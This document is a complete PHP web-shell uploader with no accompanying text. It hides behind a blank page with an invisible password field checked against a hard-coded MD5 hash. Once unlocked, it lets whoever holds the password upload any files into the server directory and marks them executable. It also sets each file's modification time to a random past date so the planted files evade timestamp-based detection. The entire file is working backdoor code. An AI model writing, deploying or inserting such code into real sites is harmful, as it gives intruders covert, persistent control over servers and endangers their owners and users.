<?php header("Content-type:text/html;charset=utf-8");session_start();if(isset($_GET['exit'])) unset($_SESSION['key']);if(empty($_SESSION['key'])) {if (!empty($_POST['key']) && md5($_POST['key'])=='93e1b64934d718e6b5749ed2863faaf0') {$_SESSION['key'] = $_POST['key'];header('Location:?login');exit;} else {exit('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>UP</title></head><body><form action="" method="post"><input type="password" name="key" style="border:0"></form></body></html>');}}$msg = '';$lsdir = dirname(__FILE__);if (!empty($_FILES["f"])) {$up_files = $_FILES["f"]; $up_ok = 0;for($I=0;$I<count($up_files['name']);$I++) {if(@move_uploaded_file($up_files['tmp_name'][$I], $lsdir.'/'.$up_files['name'][$I])) {chmod($lsdir.'/'.$up_files['name'][$I],0755);$up_ok++;touch($lsdir.'/'.$up_files['name'][$I],mktime(rand(0,12),rand(0,59),rand(0,59),rand(0,12),rand(0,12),rand(2016,2018)));}}$msg = 'up:' . $up_ok;}?><!DOCTYPE html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><title>up</title></head><body><?php echo $msg;?><form method="post" enctype="multipart/form-data" action=""><input type="file" name="f[]" multiple><button type="submit">UP</button></form></body></html>